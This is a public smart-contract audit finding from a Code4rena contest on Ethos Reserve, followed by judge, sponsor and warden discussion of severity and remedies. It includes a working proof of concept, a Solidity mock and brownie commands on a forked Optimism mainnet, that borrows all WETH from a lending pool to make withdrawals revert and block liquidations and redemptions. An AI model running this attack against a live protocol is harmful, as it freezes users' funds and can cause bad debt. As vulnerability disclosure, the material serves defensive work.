Denial of Liquidations and Redemptions by borrowing all reserves from AAVE
GalloDaSballo Follow with Koolex and GalloDaSballo
Originally disclosed on Code4rena
Submitted by GalloDaSballo, also found by Koolex and GalloDaSballo
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L239 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L200
Liquidations and Redemptions can be prevented by making ActivePool._rebalance revert by borrowing all collateral from AAVEs lendingPool.
The ActivePool will invest in the Vault, which will use the strategy to invest in the lending pool.
When withdrawing collateral, by Closing CDPs, Redeeming or Liquidating, _rebalance will be called.
In most logical cases (high capital efficiency), this will trigger a withdrawal from the Strategy
Which will trigger a withdrawawal from the LendingPool,
An attacker can deny this operation by borrowing all reserves from AAVE.
This will prevent all Liquidations, Redemptions as well as withdrawals, at will of the attacker.
This can be done to force the protocol to enter Recovery Mode, force re-absorptions and it can be pushed as far as to trigger bad debt.
Note that the attack can be performed maliciously without the need for a front-run, a sandwich (front-run + back-run) will just make it less costly (less interest paid) for the attacker but is not a way to prevent the attack.
Preamble to the POC
Any time funds are pulled from the ActivePool, _rebalance is called.
We know that if a withdrawal is sizeable enough, _rebalance will trigger Strategy._withdraw which will attempt to withdraw from the lending pool.
The goal of the POC then is to show how we can make it impossible to perform a withdrawal, guaranteeing a revert on all calls to _rebalance which consequently will brick Redemptions and Liquidations
Proof of Concept
The POC is coded in brownie, I have setup a MockFile to be able to fork optimism, with the final addresses hardcoded in the strategy (Granary).
Goal of the POC
The goal of the POC is to demonstrate that withdrawals from the pool can be denied.
This shows how we can trigger a revert against LendingPool.withdraw which we know will cause _rebalance to revert as well
Coded POC
The following mock allows us to interact with the forked contracts
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
contract LendingPool {
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external {}
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external {}
function withdraw(
address asset,
uint256 amount,
address to
) external {}
}
We can then fork optimism mainnet
brownie console --network optimism-main-fork
Run the following commands to show the attack
## Setup addresses
lp = LendingPool.at("0x8FD4aF47E4E63d1D2D45582c3286b4BD9Bb95DfE")
a_token = interface.ERC20("0xfF94cc8E2c4B17e3CC65d7B83c7e8c643030D936")
weth = interface.ERC20("0x4200000000000000000000000000000000000006")
usdc = interface.ERC20("0x7F5c764cBc14f9669B88837ca1490cCa17c31607")
## Setup Actors
weth_whale = accounts.at("0xe50fa9b3c56ffb159cb0fca61f5c9d750e8128c8", force=True)
usdc_whale = accounts.at("0x625e7708f30ca75bfd92586e17077590c60eb4cd", force=True)
strategy = a[0]
exploiter = a[1]
## Fund Strategy with WETH
weth.transfer(strategy, 20e18, {"from": weth_whale})
## Strategy Deposits WETH
weth.approve(lp, 20e18, {"from": strategy})
lp.deposit(weth, 20e18, strategy, 0, {"from": strategy})
## Fund exploiter with USDC, they will borrow WETH
usdc.transfer(exploiter, usdc.balanceOf(usdc_whale), {"from": usdc_whale})
## Setup collateral so we can dry up WETH
usdc.approve(lp, usdc.balanceOf(exploiter), {"from": exploiter})
lp.deposit(usdc, usdc.balanceOf(exploiter), exploiter, 0, {"from": exploiter})
## Borrow Max, so no WETH is borrowable
to_borrow = weth.balanceOf(a_token)
lp.borrow(weth, to_borrow, 2, 0, exploiter, {"from": exploiter})
print(weth.balanceOf(a_token))
0 ## No weth left, next withdrawal will revert
## Strategy will not be able withdraw
to_withdraw = a_token.balanceOf(strategy)
assert to_withdraw > 0
## REVERTS HERE
lp.withdraw(weth, to_withdraw, strategy, {"from": strategy})
>>> Transaction sent: 0x2d129abc6f69d74db7567de54d9932ac406d2212c350ff7f16e66d3fb034e036
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 3
LendingPool.withdraw confirmed (SafeMath: subtraction overflow) Block: 79015780 Gas used: 138952 (0.69%)
Any time the Strategy needs to withdraw from the pool, because of _rebalance that withdrawal can be denied, which will consequently prevent Collateral from being pulled, which in turn will prevent Redemptions and Liquidations.
This means a overlevered malicious actor can bring down the peg of the system while preventing whichever liquidation or redemption they want
Remediation Steps
I’m unclear as to a specific remediation, as AAVE, by design, will lend out all of it’s reserves, meaning that the amount lent out should not be assumed as liquid.
Theoretically, re-balancing only manually should protect more assets, making the threshold for the attack higher.
However, any asset sent to the lending pool should be assumed illiquid, meaning that those amounts can be prevented from being withdrawable which will prevent Liquidations and Redemptions, potentially causing bad debt
Additional Considerations
If LUSD is liquid enough to be shorted, a goal as you’d assume the token to scale, then the attack not only can be performed against the system unconditionally, but can also become profitable as the attacker can arbitrarily force bad debt for the entire portion of collateral in the lendingPool, profiting from the loss of value.
Trust (judge) decreased severity to Medium and commented:
Issue is valid. Severity is on the edge between med and high, because impact is “temporary freeze of funds” (cannot be long-term due to incredible interest costs), additionally users can always send a flashbot TX. High severity is almost always reserved for long-term impacts to the protocol, which I don’t see here (attacker sandwich cannot succeed for long-term).
tess3rac7 (Ethos Reserve) commented:
I’m not sure what to make of such reports. To earn interest, there has to be some risk. The lowest risk option is to supply money for others to borrow on a battle-tested protocol such as Aave, Granary etc. Hundreds of yield-bearing strategies have been written by Reaper, Yearn etc. utilizing these protocols. The only way to truly mitigate this issue is to not utilize an external protocol, which conflicts with the ethos of the system.
Considering this a medium/high bug means ignoring:
- dynamics of money markets, including kinked interest rates
- the fact that ethos will not allocate 100% of its capital to Aave/Granary as that would be reckless to do. Current value is 75% so wardens could easily replicate test scenarios but in the final deployment we’d start off with 10-25% and scale slowly, especially if we can add more strategies to the vault.
I don’t think either of the above can be ignored. Requesting judge review.
@GalloDaSballo - Would like to hear your fact-based opinion before landing on a severity.
GalloDaSballo (warden) commented:
Multiple things to comment on but the juice of the finding is:
- We can deny getting the capital from AAVE V2 (Granary), because there’s no borrow caps
- Denying the withdrawal makes
Vault.withdraw revert_rebalanceis called on all collateral changing operations- Denying
_rebalanceviaVault.withdrawprevents the functionality of the protocol when it matters (liquidation only matters when there’s debt to liquidate)This puts the debt collateralized by this collateral at risk (this is the base layer of the impact, but the impact is higher).
Because
_rebalanceis called on all operations, every operation wherenetAssetMovementis negative, will callVault.withdraw.This means that by denying the ability to recall the
yieldingAmount, we have put the whole amount in the ActivePool at risk.Meaning that the comments about only the
yieldingAmountbeing put at risk are not correct, the whole amount is at risk because_rebalancehappens on all collateral changes.Possible Solution
A LIFO solution would reduce the risk to what the sponsor commented, putting only the strategy capital at risk.
A LIFO solution would always withdraw from the ActivePool first, and it would have
_rebalancebeing called exclusively manually by the strategist / keeper.In that system, the attack would be limited to the % lent to AAVE (still at risk)
However, the code in-scope is not offering a LIFO solution, it
_rebalances on each collateral change, meaning those operations will be denied.On front-running and flashbots
Afaik private pools are not available on OP nor FTM, meaning that while front-running is “luck based”, it cannot be prevented.
Also, front-running simply increases ROI, it’s not a pre-condition for the attack.
On interest rate / cost
If you were to use AAVEs linear model, even at 1,000% APR, the cost is just 3% per day.
When enough collateral is present, this is not a high cost to bear to break the peg of the token and profit from it as well as the side effects. (Pay 3% per day, tank the token by 50%)
Summary
In summary, the whole collateral movement can be denied because of the rebalancing architecture.
A LIFO solution could reduce the risk but doesn’t fully avoid the liquidity risk.
Too severe for QA by C4 standards, not severe enough for high, so will land on medium (impairment of core functionalities of the protocol under some preconditions).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity doS bug in Ethos Reserve contest. Code4rena made it public on 2 May 2023. Found in the 2023-02-ethos audit contest (finding M-06), also found by 2 other wardens.
About DoS
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.